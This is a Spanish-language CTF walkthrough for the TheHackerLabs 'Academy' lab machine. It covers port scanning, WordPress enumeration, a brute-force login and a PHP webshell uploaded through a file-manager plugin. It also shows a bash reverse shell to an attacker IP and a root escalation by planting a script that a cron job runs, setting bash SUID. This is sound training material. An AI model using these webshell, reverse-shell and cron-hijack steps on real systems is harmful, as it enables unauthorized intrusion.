Post

Academy TheHackerlabs

Academy TheHackerlabs

Introducción

En esta máquina Linux comenzaremos explorando los servicios expuestos y analizando un servidor web Apache que esconde algo más que su página por defecto. A través de técnicas de enumeración web, investigaremos una instalación de WordPress y las posibles debilidades de su configuración. Una vez obtenido acceso inicial al sistema, tendremos que analizar el entorno local para descubrir cómo aprovechar determinadas configuraciones para escalar priviegios.

Fase de reconocimiento


Identificación de objetivo en la red

1
nmap -sn 10.0.2.0/24

Identificación de objetivo en la red

1
ping -c 2 10.0.2.15

Identificación de objetivo en la red

Por el TTL podemos intuir que estamos ante una máquina Linux (TTL → 128 Windows - 64 Linux).

Escaneo de puertos

1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.0.2.15 -oN allPorts
1
grep '^[0-9]' allPorts | cut -d '/' -f1 | xargs | sort | tr ' ' ','
1
nmap -p22,80 -sCV 10.0.2.15 -oN targeted

Escaneo de puertos

Tras el escaneo encontramos los puertos 22 y 80 abiertos correspondientes a los servicios SSH y HTTP respectivamente. El servicio SSH no es vulnerable a enumeración de usuarios ya que su versión es superior a la 7.7, en cuanto al servicio web vamos a enumerarlo.

Enumeración


Enumeración de servicio HTTP

1
whatweb http://10.0.2.15

Enumeración de servicio HTTP

1
nmap -p80 --script http-enum 10.0.2.15 -oN webScan

Enumeración de servicio HTTP

En el último escaneo de nmap utilizando el script http-enum descubrimos que nos enfrentamos al gestor de contenido Wordpress. Vamos a acceder a través del navegador para echarle un vistazo:

Enumeración de servicio HTTP

Parece que está intentando cargar unos recursos que no encuentra la web por lo que es probable que se esté aplicando virtualHosting, podemos revisar el código fuente de la página para obtener el dominio del que trata de cargar los recursos y añadirlo a nuestro /etc/hosts.

Enumeración de servicio HTTP

El dominio es academy.thl, vamos a añadirlo a nuestro archivo /etc/hosts para que cargue correctamente los recursos al acceder al sitio web.

Enumeración de servicio HTTP

Una vez hecho accedemos a la web a través del dominio y debería resolver y cagar los recursos de la web:

Enumeración de servicio HTTP

Efectivamente, ahora todo carga sin problema. En este punto vamos a utilizar la herramienta específica para enfrentarnos a estos escenarios, wpscan.

Enumeración de Wordpress con wpscan

1
wpscan --url http://academy.thl/wordpress -e vp,u --api-token="token"

Enumeración de Wordpress con *wpscan*

Enumeración de Wordpress con *wpscan*

Enumeración de Wordpress con *wpscan*

Enumeración de Wordpress con *wpscan*

El escaneo nos reporta varias cosas interesantes, entre ellas, la versión de Wordpress que está en uso, el tema utilizado y que está desactualizado y un usuario válido. En este punto podemos lanzar un ataque de fuerza bruta con esta misma herramienta contra el usuario válido mientras en paralelo vamos buscando vulnerabilidades conocidas para esta versión de cms e ideando un vector de ataque y así aprovechar el tiempo. Para ello:

1
searchsploit wordpress 6.5.3

Enumeración de Wordpress con *wpscan*

Nada destacable, sin embargo el ataque de fuerza bruta…

Ataque de fuerza bruta contra el usuario “dylan”

1
wpscan --url http://academy.thl/wordpress -U dylan -P /usr/share/wordlists/rockyou.txt

Ataque de fuerza bruta contra el usuario “dylan”

Encontramos la credencial válida para el usuario “dylan” “password1”. Sabiendo esto vamos a autenticarnos en el gestor de contenido.

Ataque de fuerza bruta contra el usuario “dylan”

Al autenticarnos nos sale este aviso de verificación de correo electrónico con lo cual también averiguamos el correo del usuario “dylan” que es “dylan@dylan.es”.

Explotación


Abusando de subida de archivos con plugin File Manager

Navegando por el cms y viendo sus plugins y configuraciones encontramos el plugin File Manager el cual nos permite subir archivos, viendo esto podemos pensar en subir una webshell para ejecutar una rever shell y ganar acceso a la máquina víctima. Por ello vamos a ver si podemos hacerlo:

1
<?php system($_GET['cmd']); ?>

Abusando de subida de archivos con plugin *File Manager*

Accedemos al archivo a través del navegador:

1
http://academy.thl/wordpress/wp-content/uploads/cmd.php?cmd=id

Abusando de subida de archivos con plugin *File Manager*

Y efectivamente, logramos subir una webshell y obtenemos un RCE. En este punto vamos a entablarnos una reverse shell para realizar una intrusión en la máquina víctima.

Entablando Reverse Shell

1
http://academy.thl/wordpress/wp-content/uploads/cmd.php?cmd=bash -c 'bash -i >& /dev/tcp/10.0.2.13/443 0>&1'

Al pasárselo por el método GET a través de la url es necesario pasarle los “&” url-encodeados para evitar conflictos, es decir “%26”.

1
http://academy.thl/wordpress/wp-content/uploads/cmd.php?cmd=bash -c 'bash -i >%26 /dev/tcp/10.0.2.13/443 0>%261'

Nos ponemos en escucha en nuestra máquina atacante:

1
nc -nlvp 443

Lanzamos la reverse shell y:

Entablando Reverse Shell

Antes de empezar con la enumeración local para escalar privilegios vamos a aplicar un tratamiento de la TTY para conseguir una consola plenamente interactiva.

Tratamiento de la TTY

1
2
3
4
5
6
script /dev/null -c bash
# ctrl +z 
stty raw -echo;fg
reset xterm
export TERM=xterm SHELL=bash
stty rows 53 columns 206

Una vez hecho podemos proceder con la enumeración local.

Escalada de privilegios


Enumeración local

1
grep 'sh$' /etc/passwd

Enumeración local

Tras probar varios vectores comunes para escalar privilegios: permisos suid, capabilities, credenciales hardcodeadas en archivos de configuración (común en estos escenarios con wordpress), privilegios a nivel de sudoers… No encontramos nada realmente de lo que tirar para escalar privilegios. Encontramos cosas que llaman la atención como:

Enumeración local

Un script en python que se llama “backup.py” y contiene unas credenciales para el usuario dylan a una máquina remota, dichas credenciales no aplican para ningún usuario del sistema víctima.

Explotación de tareas Cron utilizando Pspy

Viendo esto debemos pensar en tareas cron y tratar de reunir más información para saber que ocurre realmente en el sistema, para esto podemos usar la herramienta pspy:

1
2
3
# la máquina cuenta con wget por lo que podemos instalarla de esta forma
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64

La ejecutamos y encontramos lo siguiente:

Explotación de tareas *Cron* utilizando **Pspy**

Explotación de tareas *Cron* utilizando **Pspy**

Vemos que cada x tiempo se trata de ejecutar el script “backup.sh” pero este script no está en el directorio /opt, está “backup.py”. Aprovechándonos de esto podemos ser nosotros quienes creemos ese script en bash para que se ejecuten las instrucciones que queramos, por ejemplo:

1
chmod +s /bin/bash

Podemos crear el archivo “backup.sh” con ese contenido y esperar a que se ejecute, para validar cuando se ejecute el script podemos ejecutar;

1
watch -n 1 ls -l /bin/bash

Explotación de tareas *Cron* utilizando **Pspy**

Cuando se ejecute el script, al segundo lo veremos con el pemiso suid que indicamos en el script pudiendo así escalar privilegios al usuario root.

Explotación de tareas *Cron* utilizando **Pspy**

En este punto ejecutamos:

1
/bin/bash -p

Explotación de tareas *Cron* utilizando **Pspy**

Explotación de tareas *Cron* utilizando **Pspy**

Con esto habríamos completado la máquina Academy de TheHackersLabs !!!

Explotación de tareas *Cron* utilizando **Pspy**

This post is licensed under CC BY 4.0 by the author.